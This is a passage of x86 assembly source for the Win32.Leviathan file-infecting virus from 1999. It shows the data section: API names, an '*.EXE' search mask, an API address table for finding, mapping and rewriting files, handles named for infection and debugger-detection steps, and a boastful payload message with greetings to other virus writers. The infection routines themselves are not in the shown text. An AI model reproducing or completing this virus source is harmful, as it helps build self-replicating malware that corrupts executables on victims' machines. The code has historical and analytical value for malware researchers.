szFreeLibrary db 'FreeLibrary', 0
db 0ffh
szIsDebuggerPresent db 'IsDebuggerPresent', 0
szMessageBoxA db 'MessageBoxA', 0
szExt db '*.EXE', 0
org $ - 1
JumpToHost db ?
szMsgTitle db 'Win32.Leviathan (c) 1999 by Benny', 0
szMsgText db 'Hey stupid !', 0dh, 0dh
db 'This is gonna be your nightmare...', 0dh
db '30th generation of Leviathan is here... beware of me !', 0dh
db 'Threads are stripped, ship is sinkin''...', 0dh, 0dh
db 'Greetz:'
db 09, 'Darkman/29A', 0dh
db 09, 'Super/29A', 0dh
db 09, 'Billy Belcebu/DDT', 0dh
db 09, 'and all other 29Aers...', 0dh, 0dh
db 'Special greet:', 0dh
db 09, 'Arthur Rimbaud', 0dh, 0dh
db 'New milenium is knockin on the door... ', 0dh
db 'New generation of viruses is here, nothing promised, no regret.', 0
virus_end:
_GetModuleHandleA dd offset GetModuleHandleA
_GetModuleHandleW dd offset GetModuleHandleW
ddAPIs:
ddCreateThread dd ?
ddExitThread dd ?
ddGetVersion dd ?
ddFindFirstFileA dd ?
ddFindNextFileA dd ?
ddFindClose dd ?
ddCreateFileA dd ?
ddCreateFileMappingA dd ?
ddMapViewOfFile dd ?
ddUnmapViewOfFile dd ?
ddCloseHandle dd ?
ddSetFilePointer dd ?
ddSetEndOfFile dd ?
ddSetFileTime dd ?
ddSetFileAttributesA dd ?
ddGetCurrentProcess dd ?
ddGetPriorityClass dd ?
ddSetPriorityClass dd ?
ddLoadLibraryA dd ?
ddFreeLibrary dd ?
ddThreadID dd ?
NHandles:
hNeuron_Debugger dd ?
hNeuron_Find dd ?
hNeuron_CheckFile dd ?
hNeuron_OpenFile dd ?
hNeuron_CloseFile dd ?
hNeuron_InfectFile dd ?
hNeuron_GetVersion dd ?
hFile dd ?
hMapFile dd ?
lpFile dd ?
K32Handle dd ?
SearchHandle dd ?
WFD WIN32_FIND_DATA ?
buffer db virus_end - Start dup (?)
virtual_end:
ends
End Start
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